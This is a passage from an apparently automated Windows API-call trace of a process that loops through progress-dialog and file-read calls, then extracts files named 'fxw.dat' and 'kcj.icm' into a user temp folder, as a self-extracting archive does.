lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.577] GetTickCount () returned 0x1fc29 [0068.577] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.577] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.577] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.577] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.577] GetTickCount () returned 0x1fc29 [0068.578] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.578] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.578] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.578] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.578] GetTickCount () returned 0x1fc29 [0068.578] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.578] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.578] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.578] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.578] GetTickCount () returned 0x1fc29 [0068.578] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.578] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.578] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.578] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.578] GetTickCount () returned 0x1fc29 [0068.578] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.578] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.578] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.578] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.578] GetTickCount () returned 0x1fc29 [0068.578] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.578] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.578] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.578] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.578] GetTickCount () returned 0x1fc29 [0068.578] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.578] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.578] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.578] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.578] GetTickCount () returned 0x1fc29 [0068.578] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.578] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.578] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.578] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.578] GetTickCount () returned 0x1fc29 [0068.578] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.578] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.578] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.578] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.578] GetTickCount () returned 0x1fc29 [0068.578] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.578] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.578] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.578] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.578] GetTickCount () returned 0x1fc29 [0068.578] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.578] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.578] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.578] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.579] GetTickCount () returned 0x1fc29 [0068.579] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.579] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.579] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.579] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.579] GetTickCount () returned 0x1fc29 [0068.579] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.579] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.579] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.579] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.579] GetTickCount () returned 0x1fc29 [0068.579] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.579] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.579] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.579] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.579] GetTickCount () returned 0x1fc29 [0068.579] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.579] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.579] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.579] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.579] GetTickCount () returned 0x1fc29 [0068.579] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.579] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.579] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.579] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.579] GetTickCount () returned 0x1fc29 [0068.579] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.579] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.579] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.579] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.579] GetTickCount () returned 0x1fc29 [0068.579] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.579] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.579] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.579] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.579] GetTickCount () returned 0x1fc29 [0068.579] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.579] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.579] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.579] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.579] GetTickCount () returned 0x1fc29 [0068.579] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.579] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.579] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.579] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.579] GetTickCount () returned 0x1fc29 [0068.579] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.579] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.579] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.580] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.580] GetTickCount () returned 0x1fc29 [0068.580] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.580] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.580] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.580] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.580] GetTickCount () returned 0x1fc29 [0068.580] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.580] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.580] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.580] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0068.580] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0068.580] TranslateMessage (lpMsg=0x17154c) returned 0 [0068.580] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0068.580] GetTickCount () returned 0x1fc38 [0068.580] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.580] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.580] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.580] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.580] GetTickCount () returned 0x1fc38 [0068.580] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.580] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.580] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.580] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.580] GetTickCount () returned 0x1fc38 [0068.580] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.580] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.580] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.580] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.580] GetTickCount () returned 0x1fc38 [0068.580] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.580] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x23d, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x23d, lpOverlapped=0x0) returned 1 [0068.581] GetTickCount () returned 0x1fc38 [0068.581] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.581] SetFilePointer (in: hFile=0x1c, lDistanceToMove=877107, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd6233 [0068.581] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.581] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.581] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.581] CloseHandle (hObject=0x138) returned 1 [0068.582] SetFileAttributesA (lpFileName="fxw.dat", dwFileAttributes=0x20) returned 1 [0068.582] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd6233 [0068.582] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.583] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.583] OemToCharA (in: pSrc="kcj.icm", pDst=0x179cc0 | out: pDst="kcj.icm") returned 1 [0068.583] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="kcj.icm", cchCount2=1) returned 1 [0068.583] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="kcj.icm", cchCount2=6) returned 1 [0068.583] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="kcj.icm", cchCount2=-1) returned 1 [0068.583] SetFilePointer (in: hFile=0x1c, lDistanceToMove=877151, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd625f [0068.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="kcj.icm") returned 8 [0068.583] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4192b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.583] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting kcj.icm") returned 18 [0068.583] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting kcj.icm") returned 1 [0068.583] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.583] OemToCharBuffA (in: lpszSrc="k", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="k") returned 1 [0068.583] CharToOemBuffA (in: lpszSrc="K", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="K") returned 1 [0068.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="kcj.icm") returned 8 [0068.583] FindFirstFileW (in: lpFileName="kcj.icm", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.583] GetLastError () returned 0x2 [0068.583] GetFileAttributesA (lpFileName="kcj.icm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\kcj.icm")) returned 0xffffffff [0068.583] CreateFileA (lpFileName="kcj.icm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\kcj.icm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.584] GetFileType (hFile=0x138) returned 0x1 [0068.584] SetFilePointer (in: hFile=0x138, lDistanceToMove=557, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x22d [0068.584] SetEndOfFile (hFile=0x138) returned 1 [0068.584] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.584] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1c4, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1c4, lpOverlapped=0x0) returned 1 [0068.584] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.584] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.584] GetTickCount () returned 0x1fc38 [0068.584] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.584] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.584] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.584] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.584] GetTickCount () returned 0x1fc38 [0068.584] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.584] ReadFile 